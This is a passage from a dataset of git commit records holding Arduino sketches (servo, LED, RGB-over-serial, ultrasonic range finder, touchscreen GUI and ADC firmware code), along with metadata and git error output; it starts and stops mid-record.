pos_right_arm && pos_right_arm < 170 && right_arm - pos_right_arm != 1)\n pos_right_arm += 2;\n else if (right_arm < pos_right_arm && pos_right_arm > 10 && right_arm - pos_right_arm != -1)\n pos_right_arm -= 2;\n\n servo_head.write(pos_head);\n servo_left_arm.write(pos_left_arm);\n servo_right_arm.write(pos_right_arm);\n}\n\nros::Subscriber<dependant_api::linger_steering> servo(\"linger_steering\", servoCallback);\n\nvoid setup()\n{\n Serial.begin(9600);\n nh.initNode();\n nh.subscribe(servo);\n servo_head.attach(9);\n servo_left_arm.attach(8);\n servo_right_arm.attach(7);\n}\n\nvoid loop()\n{\n nh.spinOnce();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'linger_steering\/linger_steering.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e3bb6c7e65193180af8e45519b8cc00026a8cc21","subject":"Added 8 LEDs example for FraunchPad","message":"Added 8 LEDs example for FraunchPad\n","repos":"bobintornado\/Energia,cevatbostancioglu\/Energia,radiolok\/Energia,sanyaade-iot\/Energia,danielohh\/Energia,vigneshmanix\/Energia,battosai30\/Energia,croberts15\/Energia,croberts15\/Energia,martianmartin\/Energia,cevatbostancioglu\/Energia,qtonthat\/Energia,dvdvideo1234\/Energia,NoPinky\/Energia,cevatbostancioglu\/Energia,cevatbostancioglu\/Energia,radiolok\/Energia,brianonn\/Energia,bobintornado\/Energia,vigneshmanix\/Energia,dvdvideo1234\/Energia,DavidUser\/Energia,bobintornado\/Energia,croberts15\/Energia,bobintornado\/Energia,brianonn\/Energia,dvdvideo1234\/Energia,sanyaade-iot\/Energia,battosai30\/Energia,battosai30\/Energia,danielohh\/Energia,croberts15\/Energia,qtonthat\/Energia,cevatbostancioglu\/Energia,danielohh\/Energia,battosai30\/Energia,dvdvideo1234\/Energia,DavidUser\/Energia,sanyaade-iot\/Energia,DavidUser\/Energia,NoPinky\/Energia,qtonthat\/Energia,qtonthat\/Energia,brianonn\/Energia,NoPinky\/Energia,bobintornado\/Energia,danielohh\/Energia,DavidUser\/Energia,radiolok\/Energia,vigneshmanix\/Energia,martianmartin\/Energia,sanyaade-iot\/Energia,bobintornado\/Energia,danielohh\/Energia,sanyaade-iot\/Energia,martianmartin\/Energia,danielohh\/Energia,qtonthat\/Energia,cevatbostancioglu\/Energia,cevatbostancioglu\/Energia,battosai30\/Energia,danielohh\/Energia,dvdvideo1234\/Energia,vigneshmanix\/Energia,brianonn\/Energia,DavidUser\/Energia,martianmartin\/Energia,radiolok\/Energia,croberts15\/Energia,brianonn\/Energia,martianmartin\/Energia,DavidUser\/Energia,bobintornado\/Energia,DavidUser\/Energia,vigneshmanix\/Energia,NoPinky\/Energia,croberts15\/Energia,radiolok\/Energia,battosai30\/Energia,NoPinky\/Energia,sanyaade-iot\/Energia,qtonthat\/Energia,NoPinky\/Energia,martianmartin\/Energia,martianmartin\/Energia,vigneshmanix\/Energia,dvdvideo1234\/Energia,brianonn\/Energia,vigneshmanix\/Energia,radiolok\/Energia,dvdvideo1234\/Energia,radiolok\/Energia,sanyaade-iot\/Energia,battosai30\/Energia,NoPinky\/Energia,qtonthat\/Energia,brianonn\/Energia,croberts15\/Energia","old_file":"examples\/1.Basics\/FRAM_8_LEDs\/FRAM_8_LEDs.ino","new_file":"examples\/1.Basics\/FRAM_8_LEDs\/FRAM_8_LEDs.ino","new_contents":"\/\/\/\n\/\/\/ @mainpage\tFRAM_8_LEDs\n\/\/\/ @details\tFraunchPad playing K2000!\n\/\/\/ @n\n\/\/\/ @n\n\/\/\/ @n @a\tDeveloped with [embedXcode](http:\/\/embedXcode.weebly.com)\n\/\/\/\n\/\/\/ @author\tRei VILO\n\/\/\/ @author\thttp:\/\/embedxcode.weebly.com\n\/\/\/ @date\t01\/11\/12 15:56\n\/\/\/ @version\t101\n\/\/\/\n\/\/\/ @copyright\t\u00a9 Rei VILO, 2012\n\/\/\/ @copyright\tCC = BY NC SA\n\/\/\/\n\/\/\/ @see\tReadMe.txt for references\n\/\/\/\n\n\n\/\/\/\n\/\/\/ @file\tFRAM_8_LEDs.ino\n\/\/\/ @brief\tMain sketch\n\/\/\/ @details\tFraunchPad playing K2000!\n\/\/\/ @n @a\tDeveloped with [embedXcode](http:\/\/embedXcode.weebly.com)\n\/\/\/\n\/\/\/ @author\tRei VILO\n\/\/\/ @author\thttp:\/\/embedxcode.weebly.com\n\/\/\/ @date\t01\/11\/12 15:56\n\/\/\/ @version\t101\n\/\/\/\n\/\/\/ @copyright\t\u00a9 Rei VILO, 2012\n\/\/\/ @copyright\tCC = BY NC SA\n\/\/\/\n\/\/\/ @see\tReadMe.txt for references\n\/\/\/ @n\n\/\/\/\n\n\n\/\/ Core library - MCU-based\n#if defined(__MSP430FR5739__) \/\/ FraunchPad specific\n#include \"Energia.h\"\n#else\n#error Platform not supported\n#endif\n\n\n\/\/ Include application, user and local libraries\n\n\/\/ Define variables and constants\n\/\/\/\n\/\/\/ @brief\tTable of the LEDs\n\/\/\/\nuint8_t myLED[8];\nuint8_t i;\nconst uint16_t PAUSE = 20; \/\/ ms\nconst uint16_t STAY = 80; \/\/ ms\n\n\/\/\/\n\/\/\/ @brief\tSetup\n\/\/\/ @details\tDefine the pins of the LEDs\n\/\/\/\nvoid setup() {\n myLED[0] = LED1;\n myLED[1] = LED2;\n myLED[2] = LED3;\n myLED[3] = LED4;\n myLED[4] = LED5;\n myLED[5] = LED6;\n myLED[6] = LED7;\n myLED[7] = LED8;\n \n for (i=0; i<8; i++) {\n pinMode(myLED[i], OUTPUT);\n digitalWrite(myLED[i], LOW);\n }\n}\n\n\/\/\/\n\/\/\/ @brief\tLoop\n\/\/\/\nvoid loop() {\n digitalWrite(myLED[0], HIGH);\n delay(PAUSE);\n \n for (i=1; i<8; i++) {\n digitalWrite(myLED[i], HIGH);\n delay(PAUSE);\n digitalWrite(myLED[i-1], LOW);\n delay(STAY);\n }\n \n digitalWrite(myLED[7], HIGH);\n delay(PAUSE);\n \n for (i=1; i<8; i++) {\n digitalWrite(myLED[7-i], HIGH);\n delay(PAUSE);\n digitalWrite(myLED[7-i+1], LOW);\n delay(STAY);\n }\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/1.Basics\/FRAM_8_LEDs\/FRAM_8_LEDs.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"cd6db597a265774aad160a8ae5faafa638e0d42d","subject":"Add Arduino sketch","message":"Add Arduino sketch\n","repos":"Algorithm518\/node-express-led,Algorithm518\/node-express-led,Algorithm518\/node-express-led","old_file":"nodeRgbLed.ino","new_file":"nodeRgbLed.ino","new_contents":"\/\/ Node.js\/Express RGB LED\n\/\/ Written by Andrew Fake\n\/\/ 2\/1\/16\n\n\/\/ Pin mapping declarations\nconst int RED = 6;\nconst int GREEN = 3;\nconst int BLUE = 5;\nconst int POWER = 11;\nint voltage = LOW;\n\n\/\/ Values for colors\nint redValue = 255;\nint greenValue= 0;\nint blueValue = 255;\n\n\/\/ Temp Variables\nint tR;\nint tG;\nint tB;\nint tV;\n\n\/\/ Serial Byte\nint incomingByte;\n\nvoid setup () {\n \/\/ Configure Pins\n pinMode(RED, OUTPUT);\n pinMode(GREEN, OUTPUT);\n pinMode(BLUE, OUTPUT);\n pinMode(POWER, OUTPUT);\n\n \/\/ Initialize serial connection\n Serial.begin(9600);\n Serial.setTimeout(2000);\n}\n\nvoid setColor(int r, int g, int b) {\n \/\/ Must invert values to match the color\n redValue = 255 - r;\n greenValue = 255 - g;\n blueValue = 255 - b;\n}\n\nvoid parseColors() {\n char hexstring[6];\n Serial.readBytes(hexstring, 6);\n long number = (long) strtol( &hexstring[0], NULL, 16);\n int r = number >> 16;\n int g = number >> 8 & 0xFF;\n int b = number & 0xFF;\n setColor(r, g, b);\n voltage = HIGH;\n}\n\nvoid settingsBackup() {\n tR = redValue;\n tG = greenValue;\n tB = blueValue;\n tV = digitalRead(POWER);\n}\n\nvoid settingsRestore() {\n redValue = tR;\n greenValue = tG;\n blueValue = tB;\n voltage = tV;\n}\n\nvoid executeAlert() {\n \/\/ 1. Backup Colors and Voltage\n settingsBackup();\n \n \/\/ 2. Parse out Number\n char c[1];\n Serial.readBytes(c, 1);\n int blinkAmount = c[0] - '0';\n\n \/\/ 3. Set LED to Color Pending (remove code from buffer)\n parseColors();\n writeColors();\n\n \/\/ 4. Blink Loop (voltage will start HIGH)\n for (int i = 0; i < blinkAmount; i++) {\n delay(230);\n digitalWrite(POWER, !tV);\n delay(230);\n digitalWrite(POWER, tV);\n }\n\n \/\/ 5. Restore settings\n settingsRestore();\n \n}\n\nvoid sendStatus() {\n \/\/ Send back information regarding LED state\n if (digitalRead(POWER) == HIGH) {\n Serial.write(\"LED is ON\\n\");\n } else {\n Serial.write(\"LED is OFF\\n\");\n }\n}\n\nvoid writeColors() {\n analogWrite(RED, redValue);\n analogWrite(GREEN, greenValue);\n analogWrite(BLUE, blueValue);\n}\n\nvoid loop () {\n digitalWrite(POWER, voltage); \/\/Power LED\n writeColors(); \/\/ Write the RGB values to the pins\n \n \/\/ Detect serial communication\n if (Serial.available() > 0) {\n incomingByte = Serial.read();\n \/\/ If the incoming byte is 'H' turn on LED\n \/\/ Else if the byte is 'L' turn it off\n switch (incomingByte) {\n case 'H': \/\/ Turn on LED\n voltage = HIGH;\n break;\n case 'L': \/\/ Turn off LED\n voltage = LOW;\n break;\n case 'S': \/\/ Return status of LED\n sendStatus();\n break;\n case 'I': \/\/ Display flash alert. e.g. I500ff38\n executeAlert();\n break;\n case '#': \/\/ Pure color change e.g. #e45aa6\n parseColors();\n break;\n }\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'nodeRgbLed.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2285756503ec6f2827eb47055ff78484a3db69e5","subject":"Create continuoconsensori.ino","message":"Create continuoconsensori.ino","repos":"alcir\/robocodice","old_file":"esempi\/continuoconsensori.ino","new_file":"esempi\/continuoconsensori.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/alcir\/robocodice.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6f61faffbda70701086dd1226938f01bc1037cf0","subject":"added servo demo","message":"added servo demo\n","repos":"TinkerUMD\/TinkerUMD","old_file":"demos\/servo_demo\/servo_demo.ino","new_file":"demos\/servo_demo\/servo_demo.ino","new_contents":"#include <Servo.h>\n\n\/\/ constant declerations\nServo servo1;\nconst int servoPin = 9;\nconst int switchPin1=2;\nconst int switchPin2 = 4;\n\nint servoPos =0;\n\nvoid setup(){\n servo1.attach(servoPin);\n pinMode( switchPin1,INPUT );\n pinMode( switchPin2,INPUT ); \n}\n\nvoid loop(){\n if (digitalRead(switchPin1) == HIGH){\n rotateLeft(); \n }\n else if(digitalRead(switchPin2) == HIGH){\n rotateRight(); \n }\n \n \n}\n\nvoid rotateLeft(){\n for(; servoPos > 0; servoPos--){\n servo1.write(servoPos);\n delay(20);\n if(digitalRead(switchPin1) == HIGH){\n return; \n }\n \n else if(digitalRead(switchPin2) == HIGH){\n rotateRight();\n return; \n }\n }\n \n}\n\n\nvoid rotateRight(){\n for(; servoPos < 180; servoPos++){\n servo1.write(servoPos);\n delay(20);\n if(digitalRead(switchPin1) == HIGH){\n rotateLeft();\n return; \n }\n else if(digitalRead(switchPin2) == HIGH){\n return; \n }\n }\n \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'demos\/servo_demo\/servo_demo.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"70ce1036525d2850d47c0fcf6b4fd126ec8b2aff","subject":"Add range-finder experiment","message":"Add range-finder experiment\n","repos":"fotonick\/arduino_explorations","old_file":"range\/range.ino","new_file":"range\/range.ino","new_contents":"\/*\n * Taken from http:\/\/www.xappsoftware.com\/wordpress\/2012\/03\/15\/how-to-interface-the-hc-sr04-ultrasonic-ranging-module-to-arduino\/\n * as a start.\n *\/\n\n#include <Arduino.h>\n#include <HardwareSerial.h>\n\n#define ECHOPIN 8 \/\/ Pin to receive echo pulse\n#define TRIGPIN 4 \/\/ Pin to send trigger pulse\n#define timeout_us 38000UL\n\n\n#define SPEED_OF_SOUND_MM_US 0.340 \/\/ speed of sound in mm per microsecond\n\nstatic uint8_t echoBit, trigBit;\nstatic volatile uint8_t *echoRegister;\nstatic volatile uint8_t *trigRegister;\n\nstatic unsigned long pingTime_us() {\n unsigned long start, maxTime_us;\n unsigned long beforePulseStart, beforePulseEnd;\n\n \/* paranoid check that pin is off *\/\n *trigRegister &= ~trigBit;\n delayMicroseconds(2);\n\n \/* fire missiles! *\/\n *trigRegister |= trigBit;\n delayMicroseconds(10);\n *trigRegister &= ~trigBit;\n start = micros();\n maxTime_us = start + timeout_us;\n\n \/* find start of pulse *\/\n do {\n beforePulseStart = micros();\n if (beforePulseStart > maxTime_us) {\n return 0;\n }\n } while (!(*echoRegister & echoBit));\n\n \/* found start; now find end *\/\n do {\n beforePulseEnd = micros();\n if (beforePulseEnd > maxTime_us) {\n return 0;\n }\n } while (*echoRegister & echoBit);\n\n return beforePulseEnd - beforePulseStart;\n \/\/ return pulseIn(ECHOPIN, HIGH);\n}\n\nvoid setup() {\n \/* Let's set register bits directly for minimal overhead and more accurate timings. *\/\n echoBit = digitalPinToBitMask(ECHOPIN);\n trigBit = digitalPinToBitMask(TRIGPIN);\n echoRegister = portInputRegister(digitalPinToPort(ECHOPIN));\n trigRegister = portOutputRegister(digitalPinToPort(TRIGPIN));\n\n \/* set i\/o mode *\/\n pinMode(ECHOPIN, INPUT);\n pinMode(TRIGPIN, OUTPUT);\n\n \/* turn trig pin off *\/\n digitalWrite(TRIGPIN, LOW);\n\n \/* turn on pull-up resistor for echo pin; so that it's on by default *\/\n digitalWrite(ECHOPIN, HIGH);\n\n Serial.begin(9600);\n}\n\nvoid loop() {\n \/\/ Compute distance\n unsigned long timeDelay_us = pingTime_us();\n Serial.println(0.5 * SPEED_OF_SOUND_MM_US * timeDelay_us);\n delay(200);\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'range\/range.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"084b7bbf96293865453deb8ff7db011df1ef32ad","subject":"Added example for XPT_2046 driver in Lolin 24 TFT with MHETLive ESP32 Minikit.","message":"Added example for XPT_2046 driver in Lolin 24 TFT with MHETLive ESP32 Minikit.\n","repos":"jrullan\/Touchscreen_GUI,jrullan\/Touchscreen_GUI","old_file":"examples\/Touchscreen_GUI_Demo_LOLIN_TFT_24_MHETLive\/Touchscreen_GUI_Demo_LOLIN_TFT_24_MHETLive.ino","new_file":"examples\/Touchscreen_GUI_Demo_LOLIN_TFT_24_MHETLive\/Touchscreen_GUI_Demo_LOLIN_TFT_24_MHETLive.ino","new_contents":"\/*\n * This demo demonstrates the power and \n * flexibility of this library.\n * This demo runs on an Arduino Uno or \n * any other Arduino compatible microcontrollers\n * including:\n * ESP8266\n * ESP32\n * STM32\n * \n * The demo showcases the following features:\n * Display widgets used to show a text\n * Buttons and Round Buttons\n * Multiple Screens\n * Use of the Numkey widget as a password entry\n * Dial indicator\n * Terminal widget useful for on-screen information\n * \n * Created by: Jose Rullan\n * Date: September 3, 2018\n *\/\n\n#include <SPI.h>\n#include <DHTesp.h>\n#include <neotimer.h>\n\n#include <Canvas_XPT2046.h>\n#include <Screen.h>\n#include <Terminal.h>\n#include <Display.h>\n#include <Button.h>\n#include <Dial.h>\n#include <Numkey.h>\n#include <IconButton.h>\n#include <icons.h>\n\n\/\/ For Wemos Mini D1 (ESP8266)\n#define TFT_CS 16 \/\/ Wemos D1 Mini D0\n#define TFT_DS 15 \/\/ Wemos D1 Mini D8\n#define TS_CS 0 \/\/ Wemos D1 Mini D3\n#define DHT_PIN 2 \/\/ Wemos D1 Mini D4\n\n\/\/ For MH-ET Live esp32 MiniKit (ESP32)\n#define TFT_CS 26 \/\/ esp32 MiniKit D0\n#define TFT_DS 5 \/\/ esp32 MiniKit D8\n#define TS_CS 17 \/\/ esp32 MiniKit D3\n#define DHT_PIN 16\/\/ esp32 MiniKit D4\n\nDHTesp dht;\n\nCanvas_XPT2046 canvas = Canvas_XPT2046(TFT_PORTRAIT,BLACK,TFT_CS,TFT_DS,TS_CS);\nDisplay header = Display(240,40,BLUE,WHITE,WHITE,20);\nDisplay title = Display(20);\nTerminal terminal = Terminal(240,50,TERMINAL_SCROLL_UP);\nNumkey numkey = Numkey();\nButton btnMain = Button();\nButton btnDial = Button();\nButton btnButtons = Button();\nScreen screen_main = Screen(&canvas,0,40,240,190);\nScreen screen_dial = Screen(&canvas,0,40,240,190);\nScreen screen_buttons = Screen(&canvas,0,40,240,190);\nDial dial = Dial();\nButton btnPlus = Button(20,GRAY1,WHITE,ILI9341_LIGHTGREY); \/\/Initialization version for round buttons\nButton btnMinus = Button(20,GRAY1,WHITE,ILI9341_LIGHTGREY); \/\/Initialization version for round buttons\nIconButton btnBulb = IconButton(50,50,lightbulb_off,lightbulb_on);\nIconButton btnSlider = IconButton(60,30,slider_off,slider_on);\nIconButton btnSliderSimulate = IconButton(60,30,slider_off,slider_on);\n\nNeotimer readTempTimer = Neotimer(5000);\nNeotimer simTimer = Neotimer(10);\nbool direction = true;\nfloat temperature;\nconst char increment = 1;\n\n\/\/==================================\n\/\/ EVENT HANDLING ROUTINES\n\/\/==================================\nvoid btnIconEventHandler(Button* btn){\n if(btn == &btnBulb){\n terminal.print((btn->touched)?\"Bulb pressed\":\"Bulb unpressed\",YELLOW);\n }\n if(btn == &btnSlider){\n terminal.print((btn->touched)?\"Slider On\":\"Slider Off\",GREEN);\n }\n btn->update();\n}\n\nvoid btnMainEventHandler(Button* btn){\n header.setText(\"Main\");\n canvas.setScreen(&screen_main);\n terminal.clear();\n welcomeMessage();\n}\n\nvoid btnDialEventHandler(Button* btn){\n \/\/ Show the numkey to enter a password\n \/\/ The numkey event handler will verify the password\n \/\/ and change the screen if the password is correct\n \/\/canvas.add(&numkey,60,50);\n header.setText(\"Dial\");\n canvas.setScreen(&screen_dial);\n terminal.clear();\n terminal.print(\"Dial reprents a value in a range\");\n terminal.print(\"Press the + and - buttons\");\n terminal.print(\"To change it's value\");\n}\n\nvoid btnPlusEventHandler(Button* btn){\n if(dial.getCV() >= dial.scaleMax){\n terminal.print(\"Maximum value reached\",RED);\n return;\n }\n dial.setCV(dial.getCV()+increment);\n}\n\nvoid btnMinusEventHandler(Button* btn){\n if(dial.getCV() <= dial.scaleMin){\n terminal.print(\"Minimum value reached\",BLUE);\n return;\n }\n dial.setCV(dial.getCV()-increment);\n}\n\nvoid numkeyEventHandler(Numkey* nk){\n char* password = \"1234\";\n if(nk->getTextSize() == Widget::getTextLength(password)){\n bool match = true;\n for(int i=0;i<nk->getTextSize();i++){\n if(nk->contents->text[i] != password[i]) match = false; \n }\n if(match){\n header.setText(\"Dial\");\n canvas.setScreen(&screen_dial);\n terminal.print(\"Password OK\",GREEN);\n nk->clear();\n return;\n }\n }\n terminal.print(\"Wrong password entered\",RED);\n nk->clear();\n}\n\nvoid btnButtonsEventHandler(Button* btn){\n header.setText(\"Buttons\");\n canvas.setScreen(&screen_buttons);\n terminal.clear();\n terminal.print(\"Icon buttons use images to\");\n terminal.print(\"represent the button state\");\n terminal.print(\"Press a button to see it's state\");\n}\n\nvoid welcomeMessage(){\n terminal.print(\"Welcome to Touchscreen GUI demo\",YELLOW);\n terminal.print(\"This demo shows up some features\",GREEN);\n terminal.print(\"of the library. Enjoy!\"); \n}\n\n\n\n\n\/\/==================================\n\/\/ SETUP\n\/\/==================================\nvoid guiSetup(){\n dht.setup(DHT_PIN, DHTesp::DHT11);\n \n canvas.init();\n\n \/\/ ===== MAIN SCREEN =====\n screen_main.bgColor = 0xDFE;\n title.setSize(240,40);\n title.setColors(screen_main.bgColor,GRAY2,screen_main.bgColor);\n title.borderWidth = 0;\n title.setText(\"GUI DEMO\",false);\n screen_main.add(&title,0,screen_main.h\/2-FONT_Y*title.fontSize);\n\n \/\/ ===== SCREEN TWO =====\n btnPlus.setText(\"+\");\n btnPlus.setEventHandler(&btnPlusEventHandler);\n btnPlus.setDebounce(25); \n\n btnMinus.setText(\"-\");\n btnMinus.setEventHandler(&btnMinusEventHandler);\n btnMinus.setDebounce(25); \n\n btnSliderSimulate.setEventHandler([](Button* btn){\n btn->update();\n });\n btnSliderSimulate.transparentColor = BLACK; \n btnSliderSimulate.setLabel(\"Sim\");\n\n dial.init();\n dial.setSize(50);\n dial.borderWidth = 5;\n dial.setColors(WHITE,GRAY2,GRAY2);\n dial.setLimits(60,70,90);\n dial.setHiLimit(75,RED);\n dial.setSP(70,BLUE);\n dial.setLowLimit(70,BLUE);\n dial.setCV(72,false);\n\n screen_dial.bgColor = screen_main.bgColor;\/\/0xf80f;\n screen_dial.add(&dial,100,screen_dial.h\/2);\n screen_dial.add(&btnPlus,160,screen_dial.h\/2 - dial.radius);\n screen_dial.add(&btnMinus,160,screen_dial.h\/2 + dial.radius - btnMinus.h);\n screen_dial.add(&btnSliderSimulate,100,screen_dial.h\/2 + dial.radius + 10);\n\n \/\/ ===== SCREEN THREE - BUTTONS ===== \n screen_buttons.bgColor = 0xDFE;\n\n btnBulb.setEventHandler(&btnIconEventHandler);\n btnBulb.transparentColor = BLACK;\n\n btnSlider.setEventHandler(&btnIconEventHandler);\n btnSlider.transparentColor = BLACK; \n btnSlider.setLabel(\"Temp\");\n\n screen_buttons.add(&btnBulb,95,50);\n screen_buttons.add(&btnSlider,90,110);\n\n \/\/ ===== CANVAS GENERAL ITEMS ===== \n btnMain.setSize(80,40);\n btnMain.setColors(GRAY1,WHITE,ILI9341_LIGHTGREY);\n btnMain.cornerRadius = 8;\n btnMain.setEventHandler(&btnMainEventHandler);\n btnMain.setText(\"Main\");\n btnMain.setDebounce(200);\n\n btnDial.setSize(80,40);\n btnDial.setColors(GRAY1,WHITE,ILI9341_LIGHTGREY);\n btnDial.cornerRadius = 8;\n btnDial.setEventHandler(&btnDialEventHandler);\n btnDial.setText(\"Dial\");\n btnDial.setDebounce(200);\n \n btnButtons.setSize(80,40);\n btnButtons.setColors(GRAY1,WHITE,ILI9341_LIGHTGREY);\n btnButtons.cornerRadius = 8;\n btnButtons.setEventHandler(&btnButtonsEventHandler);\n btnButtons.setText(\"Btns\");\n btnButtons.setDebounce(200);\n\n\n \/*\n numkey.setSize(120,180);\n numkey.setColors(GRAY1,BLACK,WHITE);\n \/\/numkey.init();\n numkey.setEventHandler(&numkeyEventHandler);\n numkey.setDebounce(100);\n *\/\n \n header.setText(\"Main Screen\",false);\n terminal.setColors(BLACK,WHITE,WHITE);\n\n canvas.add(&header,0,0);\n canvas.add(&btnMain,0,230);\n canvas.add(&btnDial,80,230);\n canvas.add(&btnButtons,160,230); \n canvas.add(&terminal,0,270);\n canvas.setScreen(&screen_main); \n\n welcomeMessage();\n}\n\nvoid setup() {\n Serial.begin(115200);\n guiSetup();\n}\n\n\/\/==================================\n\/\/ LOOP\n\/\/==================================\nvoid loop() {\n \/\/ Scan for touch events\n \/\/ Every widget is notified and passed\n \/\/ the coordinates of the event. \n \/\/ The corresponding widget invokes it's event\n \/\/ handler to react to the event.\n canvas.scan();\n\n if(canvas.currentScreen == &screen_dial && btnSliderSimulate.touched && simTimer.repeat()){\n if(dial.getCV() >= dial.scaleMax || dial.getCV() <= dial.scaleMin){\n direction = !direction;\n if(direction){\n terminal.print(\"Now pressing +\",CYAN);\n }else{\n terminal.print(\"Now pressing -\",CYAN);\n }\n }\n \n if(direction){\n btnPlusEventHandler(&btnPlus);\n }else{\n btnMinusEventHandler(&btnMinus); \n } \n }\n \n if(btnSlider.touched && readTempTimer.repeat()){\n setTemperature();\n }\n \n}\n\nvoid setTemperature(){\n temperature = dht.getTemperature();\n temperature = dht.toFahrenheit(temperature);\n dial.setCV(temperature);\n String temp = \"Temperature = \";\n temp += temperature;\n temp += \" F\";\n terminal.print(temp);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/Touchscreen_GUI_Demo_LOLIN_TFT_24_MHETLive\/Touchscreen_GUI_Demo_LOLIN_TFT_24_MHETLive.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ba5691c78376b879abdd0819b591c5656a2a1158","subject":"Thing","message":"Thing\n","repos":"markwatneyy\/ttt_arduino","old_file":"ttt_arduino.ino","new_file":"ttt_arduino.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/markwatneyy\/ttt_arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"32e7427aefdb9cc912ea3d510c8361e6c5041534","subject":"Update mainhrm.ino","message":"Update mainhrm.ino","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1fa55a3ebcb0a2c1c1d7d77929524f9f08377c46","subject":"removed Serial.print DEBUG statements","message":"removed Serial.print DEBUG statements\n","repos":"tconstans\/Thermino,tconstans\/Thermino,tconstans\/Thermino,tconstans\/Thermino","old_file":"src\/Nettest.ino","new_file":"src\/Nettest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tconstans\/Thermino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1a6154d0079ee0d0830bd29755b4525667372766","subject":"EtfArduinoFirmware code added","message":"EtfArduinoFirmware code added\n","repos":"mlalic\/etfarduino,mlalic\/etfarduino","old_file":"src\/EtfArduinoFirmware\/EtfArduinoFirmware.ino","new_file":"src\/EtfArduinoFirmware\/EtfArduinoFirmware.ino","new_contents":"\/\/ EtfArduinoFirmware.ino\n\/\/ (c) 2012 Marko Lalic\n\n\/\/ EtfArduino may be freely distributed under the MIT license.\n\/\/ For all details and documentation:\n\/\/ http:\/\/github.com\/mlalic\/etfarduino\/\n\nunion IntWrapper {\n unsigned int value;\n byte buffer[2];\n};\nunion LongWrapper {\n unsigned long value;\n byte buffer[4];\n};\n\/\/ Global initialization\n\/\/ Wraps the analog value acquired in a union which\n\/\/ allows each byte to be easily accessed so it can be\n\/\/ sent over the serial interface.\nvolatile IntWrapper analogSample;\n\/\/ Analog acquisition active\nvolatile boolean start = false;\n\/\/ Should a value be sent on the serial port\nvolatile boolean toSend = false;\n\/\/ Period of sampling the analog input\nLongWrapper period;\n\/\/ The digital output pin\nint const digitalOutPin = 13;\n\/\/ PWM output\nint const analogOutPin = 3;\n\nvoid setup() { \n analogSample.value = 0;\n start = false;\n period.value = 1000; \/\/ microseconds\n \n \/\/ -------- \n \/\/ ADC\n \/\/ -------- \n \/\/ Setup registers\n \/\/ Voltage reference AVcc\n ADMUX = 0;\n ADMUX |= (1 << REFS0);\n \/\/ Reading from channel 0, so leave the MUX bits alone\n \/\/ Enable the ADC\n ADCSRA |= (1 << ADEN);\n \/\/ Set the prescale factor to 16 (100 == ADPS bits)\n ADCSRA |= (1 << ADPS2);\n ADCSRA &= ~(1 << ADPS1);\n ADCSRA &= ~(1 << ADPS0);\n\n \/\/ ------------\n \/\/ Timer\n \/\/ ------------\n cli();\n TCCR1A = 0;\n TCCR1B = 0;\n TCNT1 = 0;\n OCR1A = (period.value >> 2) - 1;\n TCCR1B |= (1 << WGM12); \/\/ CTC mode\n TCCR1B |= (1 << CS11) | (1 << CS10); \/\/ 64 prescaler (str. 135)\n TIMSK1 &= ~(1 << OCIE1A); \/\/ disable timer interrupt\n sei();\n \n pinMode(digitalOutPin, OUTPUT);\n pinMode(analogOutPin, OUTPUT);\n Serial.begin(256000);\n}\n\/\/ the loop routine runs over and over again forever\nvoid loop() {\n if (toSend) {\n toSend = false;\n Serial.write(analogSample.buffer[0]);\n Serial.write(analogSample.buffer[1]);\n }\n \/\/ peek() je mnogo brza funkcija od available!\n if (Serial.peek() != -1) {\n char code = Serial.read();\n switch (code) {\n case '1': {\n TCNT1 = 0;\n TIMSK1 |= (1 << OCIE1A); \/\/ enable timer compare interrupt \n return;\n }\n case '2': {\n TIMSK1 &= ~(1 << OCIE1A); \/\/ disable timer compare interrupt\n return;\n }\n case '3': {\n if (TIMSK1 & (1 << OCIE1A)) {\n \/\/ Acquisition active... problem!\n } else {\n while (Serial.available() < 4);\n \/\/ The driver makes sure to send a period which is\n \/\/ a multiple of 4!\n period.buffer[0] = Serial.read();\n period.buffer[1] = Serial.read();\n period.buffer[2] = Serial.read();\n period.buffer[3] = Serial.read();\n \/\/ period >> 2 == period \/ 4, only faster\n OCR1A = (period.value >> 2) - 1;\n }\n return;\n }\n case '4': {\n \/\/ GET_SINGLE_VALUE\n \/\/ Do a 